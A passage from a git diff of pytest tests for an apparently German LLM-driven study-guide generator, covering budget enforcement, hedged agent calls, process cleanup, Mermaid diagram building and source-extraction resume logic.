ziel = db.insert("lernziele", topic=topic, text="Kann X", status="aktiv")
|
||||||
|
b_id = db.insert("bausteine", topic=topic, ziel_id=ziel, titel="B", ord=0, status="neu")
|
||||||
|
a = db.insert("atome", topic=topic, titel="A", typ="begriff", definition="d",
|
||||||
|
status="neu", baustein_id=b_id, braucht=db.j([]))
|
||||||
|
lang = f"<!-- atom: {a} | A -->\n" + "Wort " * 60
|
||||||
|
db.insert("sections", baustein_id=b_id, stage="fix", text_lang=lang,
|
||||||
|
text_kompakt="- p", befunde=db.j(["Behebe (laenge): kürzen"]))
|
||||||
|
monkeypatch.setitem(fake_agents._HANDLER, "Guide-Fix",
|
||||||
|
lambda p: {"kompakt": "- p", "lang": lang}) # identisch
|
||||||
|
ctx = llm.Kontext(run, topic, "minimax")
|
||||||
|
ctx.ebene = "guide"
|
||||||
|
bewegt = await guide.reparieren(
|
||||||
|
ctx, [{"art": "det_check", "item": str(b_id), "detail": "kürzen"}])
|
||||||
|
assert bewegt is False
|
||||||
|
|
||||||
|
|
||||||
|
def test_stil_kein_fehlalarm_deutsch():
|
||||||
|
"""Deutscher Satz mit Homographen an/will/Not → keine „englische Passage"."""
|
||||||
|
import guide
|
||||||
|
text = ("Wir passen die Kurve an und lesen den Wert an der Stelle ab, denn der"
|
||||||
|
" Algorithmus will nicht in Not geraten und braucht das an dieser Stelle.")
|
||||||
|
assert not any("englische Passage" in x for x in guide._stil_auftraege(text, "Langtext"))
|
||||||
|
|
||||||
|
|
||||||
|
def test_pruefe_dich_norm_match():
|
||||||
|
"""Frage-Matching ist Case/Whitespace-tolerant (Fix darf umformatieren)."""
|
||||||
|
import db
|
||||||
|
import guide
|
||||||
|
from conftest import topic_anlegen
|
||||||
|
topic = topic_anlegen("pruefe")
|
||||||
|
ziel = db.insert("lernziele", topic=topic, text="Z", status="aktiv")
|
||||||
|
b_id = db.insert("bausteine", topic=topic, ziel_id=ziel, titel="B", ord=0, status="neu")
|
||||||
|
a = db.insert("atome", topic=topic, titel="A", typ="begriff", definition="d",
|
||||||
|
status="neu", baustein_id=b_id, braucht=db.j([]))
|
||||||
|
db.insert("artefakte", atom_id=a, typ="flashcard", status="verifiziert",
|
||||||
|
inhalt=db.j({"frage": "Was ist ein Graph?", "antwort": "Knoten und Kanten."}))
|
||||||
|
fragen = guide._pruefe_dich(b_id, "Prüfe dich: Was ist ein Graph?")
|
||||||
|
assert len(fragen) == 1 and fragen[0]["antwort"] == "Knoten und Kanten."
|
||||||
|
|
||||||
|
|
||||||
def test_katex_gate_und_markdown_hygiene(monkeypatch):
|
def test_katex_gate_und_markdown_hygiene(monkeypatch):
|
||||||
import guide
|
import guide
|
||||||
monkeypatch.delenv("CREATOR_FAKE_AGENTS", raising=False) # Gate echt laufen lassen
|
monkeypatch.delenv("CREATOR_FAKE_AGENTS", raising=False) # Gate echt laufen lassen
|
||||||
|
|||||||
@@ -39,6 +39,138 @@ async def test_infra_pause_statt_fail_open(monkeypatch):
|
|||||||
assert stati and all(s == "infra" for s in stati) # jeder Versuch im Ledger
|
assert stati and all(s == "infra" for s in stati) # jeder Versuch im Ledger
|
||||||
|
|
||||||
|
|
||||||
|
async def test_budget_vorab_stoppt_ohne_neuen_call(monkeypatch):
|
||||||
|
"""Erschöpftes Budget → nächster call() wirft, BEVOR ein Agent-Call startet."""
|
||||||
|
import db
|
||||||
|
topic = topic_anlegen()
|
||||||
|
run = run_anlegen(topic, budget=100)
|
||||||
|
ctx = llm.Kontext(run, topic, "minimax")
|
||||||
|
ctx.ebene = "test"
|
||||||
|
# Budget künstlich überschreiten (ohne Agent-Call), Event-Zahl merken
|
||||||
|
ledger.log_call(run, ebene="test", stage="seed", status="ok",
|
||||||
|
tokens={"input": 200, "output": 0})
|
||||||
|
vorher = db.one("SELECT COUNT(*) AS n FROM events WHERE run_id=?", (run,))["n"]
|
||||||
|
|
||||||
|
async def darf_nicht_laufen(key, prompt, timeout, **kw):
|
||||||
|
raise AssertionError("Agent-Call trotz erschöpftem Budget gestartet")
|
||||||
|
|
||||||
|
monkeypatch.setattr(agents, "run_agent", darf_nicht_laufen)
|
||||||
|
with pytest.raises(ledger.BudgetErschoepft):
|
||||||
|
await llm.call(ctx, stage="soll", template="Korpus-Soll",
|
||||||
|
werte={"topic": topic, "quelle": "q", "text": "x"}, erwartet=list)
|
||||||
|
nachher = db.one("SELECT COUNT(*) AS n FROM events WHERE run_id=?", (run,))["n"]
|
||||||
|
assert nachher == vorher # keine neue Ledger-Zeile = kein Call
|
||||||
|
|
||||||
|
|
||||||
|
async def test_hedge_gewinner_trotz_haupt_timeout(monkeypatch):
|
||||||
|
"""Haupt-Call läuft in Timeout, Zwilling (-h) liefert → Ergebnis statt Pause."""
|
||||||
|
topic = topic_anlegen()
|
||||||
|
run = run_anlegen(topic)
|
||||||
|
ctx = llm.Kontext(run, topic, "minimax")
|
||||||
|
ctx.ebene = "test"
|
||||||
|
monkeypatch.setattr(llm, "HEDGE_NACH_S", 0.05)
|
||||||
|
|
||||||
|
async def haupt_stallt(key, prompt, timeout, **kw):
|
||||||
|
if key.endswith("-h"): # Zwilling liefert gültiges JSON
|
||||||
|
return agents.AgentErgebnis(0, "[]", "")
|
||||||
|
await asyncio.sleep(10) # Haupt hängt → wird nach Timeout gecancelt
|
||||||
|
return agents.AgentErgebnis(0, "[]", "")
|
||||||
|
|
||||||
|
monkeypatch.setattr(agents, "run_agent", haupt_stallt)
|
||||||
|
# timeout klein halten, damit der Haupt-Task zügig als Timeout endet
|
||||||
|
monkeypatch.setattr(llm, "timeout_fuer", lambda *a, **k: 0.2)
|
||||||
|
res = await llm.call(ctx, stage="soll", template="Korpus-Soll",
|
||||||
|
werte={"topic": topic, "quelle": "q", "text": "x"}, erwartet=list)
|
||||||
|
assert res == [] # Zwilling hat geliefert, kein LaufPause
|
||||||
|
|
||||||
|
|
||||||
|
async def test_hedge_verlierer_zaehlt_im_budget(monkeypatch):
|
||||||
|
"""Beide Hedge-Calls liefern → zwei Ledger-Zeilen, Verlierer-Tokens im Budget."""
|
||||||
|
import db
|
||||||
|
topic = topic_anlegen()
|
||||||
|
run = run_anlegen(topic)
|
||||||
|
ctx = llm.Kontext(run, topic, "minimax")
|
||||||
|
ctx.ebene = "test"
|
||||||
|
monkeypatch.setattr(llm, "HEDGE_NACH_S", 0.05)
|
||||||
|
monkeypatch.setattr(llm, "timeout_fuer", lambda *a, **k: 0.4) # schwelle=0.2
|
||||||
|
|
||||||
|
async def haupt_leer_zwilling_ok(key, prompt, timeout, **kw):
|
||||||
|
if key.endswith("-h"): # Zwilling startet bei 0.2, liefert bei ~0.35
|
||||||
|
await asyncio.sleep(0.15)
|
||||||
|
return agents.AgentErgebnis(0, "[]", "")
|
||||||
|
await asyncio.sleep(0.25) # Haupt: fertig, aber leer (nicht ok) → Verlierer
|
||||||
|
return agents.AgentErgebnis(1, "", "leer", {"input": 40, "output": 20})
|
||||||
|
|
||||||
|
monkeypatch.setattr(agents, "run_agent", haupt_leer_zwilling_ok)
|
||||||
|
res = await llm.call(ctx, stage="soll", template="Korpus-Soll",
|
||||||
|
werte={"topic": topic, "quelle": "q", "text": "x"}, erwartet=list)
|
||||||
|
assert res == []
|
||||||
|
zeilen = db.query("SELECT status FROM events WHERE run_id=?", (run,))
|
||||||
|
assert any(z["status"] == "hedge" for z in zeilen) # Verlierer geloggt
|
||||||
|
assert ledger.verbraucht(run) >= 60 # Verlierer-Tokens (40+20) sichtbar
|
||||||
|
|
||||||
|
|
||||||
|
async def test_spawn_kill_bei_cancel(monkeypatch):
|
||||||
|
"""Task-Cancel (Hedge-Verlierer/Pause) killt den CLI-Prozess, kein Zombie."""
|
||||||
|
import os
|
||||||
|
monkeypatch.delenv("CREATOR_FAKE_AGENTS", raising=False)
|
||||||
|
monkeypatch.setattr(agents, "_ram_gate", lambda key: _true())
|
||||||
|
task = asyncio.ensure_future(
|
||||||
|
agents._spawn("t-cancel", ["sleep", "30"], None, 30))
|
||||||
|
for _ in range(200): # warten bis der Prozess registriert ist
|
||||||
|
if agents._prozesse:
|
||||||
|
break
|
||||||
|
await asyncio.sleep(0.01)
|
||||||
|
proc = next(iter(agents._prozesse.values()))
|
||||||
|
pid = proc.pid
|
||||||
|
task.cancel()
|
||||||
|
with pytest.raises(asyncio.CancelledError):
|
||||||
|
await task
|
||||||
|
for _ in range(200): # Kill ist async
|
||||||
|
try:
|
||||||
|
os.kill(pid, 0)
|
||||||
|
except ProcessLookupError:
|
||||||
|
break
|
||||||
|
await asyncio.sleep(0.01)
|
||||||
|
with pytest.raises(ProcessLookupError):
|
||||||
|
os.kill(pid, 0) # Prozess ist tot
|
||||||
|
assert not agents._prozesse # aus der Registry entfernt
|
||||||
|
|
||||||
|
|
||||||
|
async def _true():
|
||||||
|
return True
|
||||||
|
|
||||||
|
|
||||||
|
async def test_opencode_timeout_loggt_tokens(monkeypatch):
|
||||||
|
"""opencode-Timeout: Tokens der Session werden geloggt, nicht als 0 verworfen."""
|
||||||
|
monkeypatch.delenv("CREATOR_FAKE_AGENTS", raising=False)
|
||||||
|
|
||||||
|
async def spawn_timeout(*a, **kw):
|
||||||
|
raise asyncio.TimeoutError
|
||||||
|
|
||||||
|
monkeypatch.setattr(agents, "_spawn", spawn_timeout)
|
||||||
|
monkeypatch.setattr(agents, "_opencode_tokens",
|
||||||
|
lambda key: {"input": 5000, "output": 3000})
|
||||||
|
res = await agents._opencode("t-oc", "prompt", 10, "minimax/M", "none")
|
||||||
|
assert res.err == "timeout" and not res.ok
|
||||||
|
assert res.tokens == {"input": 5000, "output": 3000} # nicht 0
|
||||||
|
|
||||||
|
|
||||||
|
def test_gather_nur_in_llm():
|
||||||
|
"""Rückfall-Guard: bare asyncio.gather darf NUR in llm.py stehen (sonst
|
||||||
|
laufen Geschwister-Tasks bei LaufPause/Budget weiter — nutze llm.alle)."""
|
||||||
|
from pathlib import Path
|
||||||
|
backend = Path(__file__).resolve().parent.parent / "backend"
|
||||||
|
treffer = []
|
||||||
|
for p in backend.glob("*.py"):
|
||||||
|
if p.name == "llm.py":
|
||||||
|
continue
|
||||||
|
for i, zeile in enumerate(p.read_text(encoding="utf-8").splitlines(), 1):
|
||||||
|
if "asyncio.gather" in zeile:
|
||||||
|
treffer.append(f"{p.name}:{i}")
|
||||||
|
assert not treffer, f"bare asyncio.gather außerhalb llm.py: {treffer}"
|
||||||
|
|
||||||
|
|
||||||
async def test_inhaltsfehler_kein_laufabbruch(monkeypatch):
|
async def test_inhaltsfehler_kein_laufabbruch(monkeypatch):
|
||||||
topic = topic_anlegen()
|
topic = topic_anlegen()
|
||||||
run = run_anlegen(topic)
|
run = run_anlegen(topic)
|
||||||
|
|||||||
130
tests/test_diagramme.py
Normal file
130
tests/test_diagramme.py
Normal file
@@ -0,0 +1,130 @@
|
|||||||
|
"""Ebene 3.5 Diagramme: deterministische DAG-Diagramme (kein LLM), Spec→Mermaid."""
|
||||||
|
|
||||||
|
import db
|
||||||
|
import diagramme
|
||||||
|
import llm
|
||||||
|
from conftest import run_anlegen, topic_anlegen
|
||||||
|
|
||||||
|
|
||||||
|
def _baustein_mit_kette(topic, n=4):
|
||||||
|
"""Baustein mit n Atomen und einer braucht-Kette a0←a1←…←a(n-1) (n-1 Kanten)."""
|
||||||
|
soll = db.insert("soll", topic=topic, punkt="P", status="bestaetigt", belege=db.j([]))
|
||||||
|
ziel = db.insert("lernziele", topic=topic, text="Kann P", soll_id=soll, status="aktiv")
|
||||||
|
b = db.insert("bausteine", topic=topic, ziel_id=ziel, titel="B", ord=0, status="neu")
|
||||||
|
atome = [db.insert("atome", topic=topic, titel=f"Atom {i}", typ="begriff",
|
||||||
|
definition="d", status="neu", baustein_id=b, ord=i, braucht=db.j([]))
|
||||||
|
for i in range(n)]
|
||||||
|
for i in range(1, n): # Atom i braucht Atom i-1
|
||||||
|
db.execute("INSERT INTO kanten(topic, von_atom, zu_atom, art) VALUES(?,?,?,'braucht')",
|
||||||
|
(topic, atome[i], atome[i - 1]))
|
||||||
|
return b, atome
|
||||||
|
|
||||||
|
|
||||||
|
def test_spec_zu_mermaid_flowchart():
|
||||||
|
spec = {"typ": "dependency",
|
||||||
|
"knoten": [{"id": "1", "label": "A"}, {"id": "2", "label": 'B "x" [y]'}],
|
||||||
|
"kanten": [{"von": "1", "zu": "2", "label": ""}]}
|
||||||
|
out = diagramme._spec_zu_mermaid(spec)
|
||||||
|
assert out.startswith("flowchart TD")
|
||||||
|
assert 'n1["A"]' in out and "n1 --> n2" in out
|
||||||
|
assert '"' not in out.split("\n", 1)[1].replace('["', "").replace('"]', "") # Label entschärft
|
||||||
|
|
||||||
|
|
||||||
|
async def test_dag_diagramm_wird_gebaut_und_verifiziert():
|
||||||
|
topic = topic_anlegen("diag-dag")
|
||||||
|
b, atome = _baustein_mit_kette(topic, n=4) # 3 Kanten ≥ DIAGRAMM_MIN_KANTEN
|
||||||
|
ctx = llm.Kontext(run_anlegen(topic), topic, "minimax")
|
||||||
|
await diagramme.bauen(ctx)
|
||||||
|
d = db.one("SELECT * FROM diagramme WHERE baustein_id=?", (b,))
|
||||||
|
assert d and d["status"] == "verifiziert" and d["quelle"] == "dag"
|
||||||
|
assert d["mermaid"].startswith("flowchart TD")
|
||||||
|
assert all(f"n{a}" in d["mermaid"] for a in atome) # jeder Knoten drin
|
||||||
|
assert diagramme.messen(ctx) == [] # keine offenen Kandidaten
|
||||||
|
assert diagramme.gate(ctx) is None
|
||||||
|
|
||||||
|
|
||||||
|
async def test_wenig_kanten_kein_diagramm():
|
||||||
|
topic = topic_anlegen("diag-leer")
|
||||||
|
b, _ = _baustein_mit_kette(topic, n=2) # nur 1 Kante < Schwelle
|
||||||
|
ctx = llm.Kontext(run_anlegen(topic), topic, "minimax")
|
||||||
|
await diagramme.bauen(ctx)
|
||||||
|
# kein GEBAUTES Diagramm (Fake-Judge sagt noetig=False → nur eine 'kein'-Merkzeile)
|
||||||
|
assert db.query("SELECT id FROM diagramme WHERE topic=? AND status='verifiziert'",
|
||||||
|
(topic,)) == []
|
||||||
|
assert db.one("SELECT status FROM diagramme WHERE baustein_id=?", (b,))["status"] == "kein"
|
||||||
|
|
||||||
|
|
||||||
|
async def test_llm_diagramm_plan_spec_verify(monkeypatch):
|
||||||
|
"""LLM-Zweig: Judge sagt nötig → Spec → Mermaid → Grounding-Panel verifiziert."""
|
||||||
|
import fake_agents
|
||||||
|
topic = topic_anlegen("diag-llm")
|
||||||
|
# Baustein OHNE genug Kanten (kein DAG) → LLM-Zweig entscheidet
|
||||||
|
soll = db.insert("soll", topic=topic, punkt="P", status="bestaetigt", belege=db.j([]))
|
||||||
|
ziel = db.insert("lernziele", topic=topic, text="Kann P", soll_id=soll, status="aktiv")
|
||||||
|
b = db.insert("bausteine", topic=topic, ziel_id=ziel, titel="Automat", ord=0, status="neu")
|
||||||
|
for i in range(3):
|
||||||
|
db.insert("atome", topic=topic, titel=f"Zustand {i}", typ="begriff", definition="d",
|
||||||
|
status="neu", baustein_id=b, ord=i, braucht=db.j([]))
|
||||||
|
monkeypatch.setitem(fake_agents._HANDLER, "Diagramm-Plan",
|
||||||
|
lambda p: {"noetig": True, "typ": "state"})
|
||||||
|
ctx = llm.Kontext(run_anlegen(topic), topic, "minimax")
|
||||||
|
await diagramme.bauen(ctx)
|
||||||
|
d = db.one("SELECT * FROM diagramme WHERE baustein_id=?", (b,))
|
||||||
|
assert d["status"] == "verifiziert" and d["quelle"] == "llm" and d["typ"] == "state"
|
||||||
|
assert d["mermaid"].startswith("stateDiagram-v2")
|
||||||
|
|
||||||
|
|
||||||
|
async def test_llm_diagramm_grounding_verwirft(monkeypatch):
|
||||||
|
"""Grounding-Panel einstimmig ok=false → Diagramm verworfen (fail-closed)."""
|
||||||
|
import fake_agents
|
||||||
|
topic = topic_anlegen("diag-verwirf")
|
||||||
|
soll = db.insert("soll", topic=topic, punkt="P", status="bestaetigt", belege=db.j([]))
|
||||||
|
ziel = db.insert("lernziele", topic=topic, text="Kann P", soll_id=soll, status="aktiv")
|
||||||
|
b = db.insert("bausteine", topic=topic, ziel_id=ziel, titel="X", ord=0, status="neu")
|
||||||
|
for i in range(3):
|
||||||
|
db.insert("atome", topic=topic, titel=f"K{i}", typ="begriff", definition="d",
|
||||||
|
status="neu", baustein_id=b, ord=i, braucht=db.j([]))
|
||||||
|
monkeypatch.setitem(fake_agents._HANDLER, "Diagramm-Plan",
|
||||||
|
lambda p: {"noetig": True, "typ": "flow"})
|
||||||
|
monkeypatch.setitem(fake_agents._HANDLER, "Diagramm-Verify",
|
||||||
|
lambda p: [{"ok": False, "mangel": "erfundener Knoten"}])
|
||||||
|
ctx = llm.Kontext(run_anlegen(topic), topic, "minimax")
|
||||||
|
await diagramme.bauen(ctx)
|
||||||
|
assert db.one("SELECT status FROM diagramme WHERE baustein_id=?", (b,))["status"] == "verworfen"
|
||||||
|
|
||||||
|
|
||||||
|
async def test_marker_wird_zu_fence():
|
||||||
|
"""Assembly: platzierter <!-- diagramm: id --> → ```mermaid-Fence."""
|
||||||
|
import guide
|
||||||
|
topic = topic_anlegen("diag-place")
|
||||||
|
b, _ = _baustein_mit_kette(topic, n=4)
|
||||||
|
ctx = llm.Kontext(run_anlegen(topic), topic, "minimax")
|
||||||
|
await diagramme.bauen(ctx)
|
||||||
|
d = db.one("SELECT id FROM diagramme WHERE baustein_id=?", (b,))
|
||||||
|
db.insert("sections", baustein_id=b, stage="done", text_kompakt="- k",
|
||||||
|
text_lang=f"Text.\n\n<!-- diagramm: {d['id']} -->\n\nMehr Text.")
|
||||||
|
lang = guide.kapitel_struktur(topic)[0]["sections"][0]["lang"]
|
||||||
|
assert "```mermaid" in lang and "flowchart TD" in lang
|
||||||
|
assert "<!-- diagramm:" not in lang # Marker ersetzt
|
||||||
|
|
||||||
|
|
||||||
|
async def test_toter_diagramm_marker_wird_entfernt():
|
||||||
|
import guide
|
||||||
|
topic = topic_anlegen("diag-tot")
|
||||||
|
b, _ = _baustein_mit_kette(topic, n=2) # kein Diagramm gebaut
|
||||||
|
db.insert("sections", baustein_id=b, stage="done", text_kompakt="- k",
|
||||||
|
text_lang="Text.\n\n<!-- diagramm: 999 -->\n\nMehr.")
|
||||||
|
lang = guide.kapitel_struktur(topic)[0]["sections"][0]["lang"]
|
||||||
|
assert "<!-- diagramm:" not in lang and "```mermaid" not in lang
|
||||||
|
|
||||||
|
|
||||||
|
async def test_guide_messen_meldet_toten_marker():
|
||||||
|
"""Ein Marker ohne verifiziertes Diagramm → diagramm_marker_tot in guide.messen."""
|
||||||
|
import guide
|
||||||
|
topic = topic_anlegen("diag-qa")
|
||||||
|
b, _ = _baustein_mit_kette(topic, n=4)
|
||||||
|
db.insert("sections", baustein_id=b, stage="done", text_kompakt="- k",
|
||||||
|
text_lang="Text.\n\n<!-- diagramm: 777 -->\n\n" + "Wort " * 60)
|
||||||
|
ctx = llm.Kontext(run_anlegen(topic), topic, "minimax")
|
||||||
|
ctx.ebene = "guide"
|
||||||
|
assert "diagramm_marker_tot" in {x["art"] for x in guide.messen(ctx)}
|
||||||
@@ -142,7 +142,7 @@ async def test_ebenen_entfernen_kaskade():
|
|||||||
assert db.one("SELECT status FROM topics WHERE name=?", (topic,))["status"] == "artefakte_fertig"
|
assert db.one("SELECT status FROM topics WHERE name=?", (topic,))["status"] == "artefakte_fertig"
|
||||||
# Anzeige-Reset: Token-Zählung der entfernten Ebenen beginnt neu (Events bleiben)
|
# Anzeige-Reset: Token-Zählung der entfernten Ebenen beginnt neu (Events bleiben)
|
||||||
resets = db.uj(db.one("SELECT resets FROM topics WHERE name=?", (topic,))["resets"], {})
|
resets = db.uj(db.one("SELECT resets FROM topics WHERE name=?", (topic,))["resets"], {})
|
||||||
assert set(resets) == {"struktur", "guide"}
|
assert set(resets) == {"struktur", "diagramme", "guide"} # diagramme hängt an struktur
|
||||||
assert resets["struktur"] == db.one("SELECT MAX(id) AS m FROM events")["m"]
|
assert resets["struktur"] == db.one("SELECT MAX(id) AS m FROM events")["m"]
|
||||||
run2 = await _lauf_komplett(topic)
|
run2 = await _lauf_komplett(topic)
|
||||||
_pruefe_endzustand(topic, run2)
|
_pruefe_endzustand(topic, run2)
|
||||||
|
|||||||
@@ -55,6 +55,99 @@ async def test_anker_rematch_ohne_llm(tmp_path):
|
|||||||
b["art"] != "atom_ohne_anker" for b in inventar.messen(ctx))
|
b["art"] != "atom_ohne_anker" for b in inventar.messen(ctx))
|
||||||
|
|
||||||
|
|
||||||
|
async def test_resume_liest_teilextrahierte_quelle_weiter(tmp_path):
|
||||||
|
"""Abbruch mitten in der Extraktion (atome_stand leer): der Resume liest die
|
||||||
|
Quelle komplett neu, statt sie als fertig zu überspringen."""
|
||||||
|
topic = topic_anlegen("resume-ext")
|
||||||
|
run = run_anlegen(topic)
|
||||||
|
snap = tmp_path / "q.md"
|
||||||
|
snap.write_text("Absatz eins über Kompaktheit.\n\nAbsatz zwei über Vollständigkeit.",
|
||||||
|
encoding="utf-8")
|
||||||
|
# Quelle hat schon EIN verankertes Atom, aber atome_stand ist leer (Abbruch)
|
||||||
|
q = db.insert("quellen", topic=topic, art="datei", titel="q",
|
||||||
|
snapshot=str(snap), hash="h", status="extrahiert", atome_stand="")
|
||||||
|
a = db.insert("atome", topic=topic, titel="Alt", typ="begriff", definition="d",
|
||||||
|
status="neu", braucht=db.j([]))
|
||||||
|
db.insert("anker", atom_id=a, quelle_id=q, start=0, ende=5, zitat="Absatz")
|
||||||
|
ctx = llm.Kontext(run, topic, "minimax")
|
||||||
|
ctx.ebene = "inventar"
|
||||||
|
await inventar._extrahiere_quelle(ctx, db.one("SELECT * FROM quellen WHERE id=?", (q,)))
|
||||||
|
# neu gelesen → Extraktions-Events da, atome_stand jetzt gesetzt
|
||||||
|
assert db.query("SELECT id FROM events WHERE run_id=? AND stage='extraktion'", (run,))
|
||||||
|
assert db.one("SELECT atome_stand FROM quellen WHERE id=?", (q,))["atome_stand"] == "atome"
|
||||||
|
|
||||||
|
# Gegenprobe: mit gesetztem Merker wird NICHT neu gelesen
|
||||||
|
run2 = run_anlegen(topic)
|
||||||
|
ctx2 = llm.Kontext(run2, topic, "minimax")
|
||||||
|
ctx2.ebene = "inventar"
|
||||||
|
await inventar._extrahiere_quelle(ctx2, db.one("SELECT * FROM quellen WHERE id=?", (q,)))
|
||||||
|
assert db.query("SELECT id FROM events WHERE run_id=?", (run2,)) == []
|
||||||
|
|
||||||
|
|
||||||
|
async def test_stichentscheid_braucht_zwei_stimmen(monkeypatch):
|
||||||
|
"""Verwerfen (destruktiv) nur bei vollzähligem einstimmigem „fremd"-Panel."""
|
||||||
|
topic = topic_anlegen("stich")
|
||||||
|
run = run_anlegen(topic)
|
||||||
|
db.insert("soll", topic=topic, punkt="P1", status="bestaetigt", belege=db.j([]))
|
||||||
|
ctx = llm.Kontext(run, topic, "minimax")
|
||||||
|
ctx.ebene = "inventar"
|
||||||
|
|
||||||
|
def neu_atom():
|
||||||
|
return db.insert("atome", topic=topic, titel="X", typ="begriff",
|
||||||
|
definition="d", status="neu", braucht=db.j([]))
|
||||||
|
|
||||||
|
def panel_mit(votes):
|
||||||
|
async def _p(ctx, groesse, **kw):
|
||||||
|
return list(votes)
|
||||||
|
return _p
|
||||||
|
|
||||||
|
a1 = neu_atom() # 1× fremd → nicht vollzählig → Atom bleibt
|
||||||
|
monkeypatch.setattr(llm, "panel", panel_mit([{"soll": "fremd"}]))
|
||||||
|
await inventar._soll_stichentscheid(ctx, a1)
|
||||||
|
assert db.one("SELECT status FROM atome WHERE id=?", (a1,))["status"] == "neu"
|
||||||
|
|
||||||
|
a2 = neu_atom() # 2× fremd → verworfen
|
||||||
|
monkeypatch.setattr(llm, "panel", panel_mit([{"soll": "fremd"}, {"soll": "fremd"}]))
|
||||||
|
await inventar._soll_stichentscheid(ctx, a2)
|
||||||
|
assert db.one("SELECT status FROM atome WHERE id=?", (a2,))["status"] == "verworfen"
|
||||||
|
|
||||||
|
a3 = neu_atom() # 2× ohne soll-Feld → kein fremd-Votum → bleibt
|
||||||
|
monkeypatch.setattr(llm, "panel", panel_mit([{}, {}]))
|
||||||
|
await inventar._soll_stichentscheid(ctx, a3)
|
||||||
|
assert db.one("SELECT status FROM atome WHERE id=?", (a3,))["status"] == "neu"
|
||||||
|
|
||||||
|
|
||||||
|
async def test_anker_batch_ausfall_verwirft_nicht(monkeypatch, tmp_path):
|
||||||
|
"""Call-Ausfall (None) ≠ „keine Quellstelle" → Atom bleibt ohne_anker, bewegt=False."""
|
||||||
|
import fake_agents
|
||||||
|
topic = topic_anlegen("ankerfail")
|
||||||
|
run = run_anlegen(topic)
|
||||||
|
snap = tmp_path / "q.md"
|
||||||
|
snap.write_text("Ganz anderer Text ohne die gesuchte Stelle.", encoding="utf-8")
|
||||||
|
q = db.insert("quellen", topic=topic, art="datei", titel="q",
|
||||||
|
snapshot=str(snap), hash="h", status="atome")
|
||||||
|
a = db.insert("atome", topic=topic, titel="T", typ="begriff", definition="d",
|
||||||
|
status="ohne_anker", braucht=db.j([]))
|
||||||
|
db.insert("anker", atom_id=a, quelle_id=q, start=-1, ende=-1,
|
||||||
|
zitat="Ein Zitat das nirgends im Quelltext steht und lang genug ist.")
|
||||||
|
monkeypatch.setitem(fake_agents._HANDLER, "Atom-Anker-Fix-Batch", lambda p: {})
|
||||||
|
ctx = llm.Kontext(run, topic, "minimax")
|
||||||
|
ctx.ebene = "inventar"
|
||||||
|
bewegt = await inventar._anker_fixen_batch(ctx, [a])
|
||||||
|
assert db.one("SELECT status FROM atome WHERE id=?", (a,))["status"] == "ohne_anker"
|
||||||
|
assert bewegt is False
|
||||||
|
|
||||||
|
|
||||||
|
def test_finde_zitat_casefold_sz_offsets():
|
||||||
|
"""casefold-Stufe: ß→ss-Expansionen vor dem Treffer dürfen den Span nicht
|
||||||
|
verschieben; Treffer am Textende darf nicht in einen IndexError laufen."""
|
||||||
|
import textkit
|
||||||
|
text = "Straße und Fußweg. " * 30 + "DER KERNSATZ STEHT AM ENDE."
|
||||||
|
span = textkit.finde_zitat(text, "der kernsatz steht am ende.")
|
||||||
|
assert span is not None
|
||||||
|
assert text[span[0]:span[1]] == "DER KERNSATZ STEHT AM ENDE."
|
||||||
|
|
||||||
|
|
||||||
def test_titel_kern_faltet_schreibvarianten():
|
def test_titel_kern_faltet_schreibvarianten():
|
||||||
import textkit
|
import textkit
|
||||||
assert textkit.titel_kern("ΔTSP2 Tour‑Länge") == textkit.titel_kern("ΔTSP2 Tour-Länge")
|
assert textkit.titel_kern("ΔTSP2 Tour‑Länge") == textkit.titel_kern("ΔTSP2 Tour-Länge")
|
||||||
|
|||||||
@@ -87,6 +87,64 @@ async def test_hartnaeckig_vergessene_wird_befund(monkeypatch):
|
|||||||
assert befunde[0]["item"] == str(c)
|
assert befunde[0]["item"] == str(c)
|
||||||
|
|
||||||
|
|
||||||
|
async def test_konsens_erhaelt_nachbelege_geprueft_und_id(monkeypatch):
|
||||||
|
"""Neu-Konsens darf bestätigte Zeilen nicht löschen: id, geprueft-Cache und
|
||||||
|
nachgesuchte Belege bleiben, Belege werden vereint."""
|
||||||
|
topic, (q1, q2), ctx = _seed(art="thema", n_quellen=2)
|
||||||
|
best = db.insert("soll", topic=topic, punkt="Alpha", status="bestaetigt",
|
||||||
|
belege=db.j([{"quelle": q1, "zitat": "Zitat Alpha"}]),
|
||||||
|
geprueft=db.j([q2]))
|
||||||
|
a1 = _kandidat(topic, "Alpha", q1)
|
||||||
|
a2 = _kandidat(topic, "Alpha", q2)
|
||||||
|
|
||||||
|
def judge(prompt):
|
||||||
|
if "NACHRUNDE" in prompt:
|
||||||
|
return []
|
||||||
|
return [{"punkt": "Alpha", "kandidaten": [a1, a2]}]
|
||||||
|
|
||||||
|
monkeypatch.setitem(fake_agents._HANDLER, "Korpus-Soll-Konsens", judge)
|
||||||
|
assert await korpus._konsens(ctx) == 1
|
||||||
|
row = db.one("SELECT * FROM soll WHERE topic=? AND status='bestaetigt'", (topic,))
|
||||||
|
assert row["id"] == best # id stabil (kein DELETE+INSERT)
|
||||||
|
assert db.uj(row["geprueft"]) == [q2] # geprueft-Cache erhalten
|
||||||
|
assert {b["quelle"] for b in db.uj(row["belege"])} == {q1, q2} # Belege-Union
|
||||||
|
|
||||||
|
|
||||||
|
async def test_soll_resume_ohne_doppelkandidaten(monkeypatch, tmp_path):
|
||||||
|
"""Abgebrochener Extraktions-Pass: der Resume darf keine Doppel-Kandidaten legen."""
|
||||||
|
topic = topic_anlegen("resume-soll", art="uni")
|
||||||
|
snap = tmp_path / "q.md"
|
||||||
|
snap.write_text("Der wichtige Punkt steht hier im Text.", encoding="utf-8")
|
||||||
|
q = db.insert("quellen", topic=topic, art="datei", titel="q",
|
||||||
|
snapshot=str(snap), hash="h", status="neu")
|
||||||
|
db.insert("soll", topic=topic, punkt="Der wichtige Punkt", status="kandidat",
|
||||||
|
belege=db.j([{"quelle": q, "zitat": "Der wichtige Punkt"}]))
|
||||||
|
ctx = llm.Kontext(run_anlegen(topic), topic, "minimax")
|
||||||
|
ctx.ebene = "korpus"
|
||||||
|
monkeypatch.setitem(fake_agents._HANDLER, "Korpus-Soll",
|
||||||
|
lambda p: [{"punkt": "Der wichtige Punkt",
|
||||||
|
"zitat": "Der wichtige Punkt steht hier"}])
|
||||||
|
await korpus._soll_extrahieren(ctx)
|
||||||
|
kand = db.query("SELECT id FROM soll WHERE topic=? AND status='kandidat'", (topic,))
|
||||||
|
assert len(kand) == 1 # Leiche gelöscht, genau ein Kandidat
|
||||||
|
|
||||||
|
|
||||||
|
async def test_uni_soll_leer_faellt_zu(monkeypatch, tmp_path):
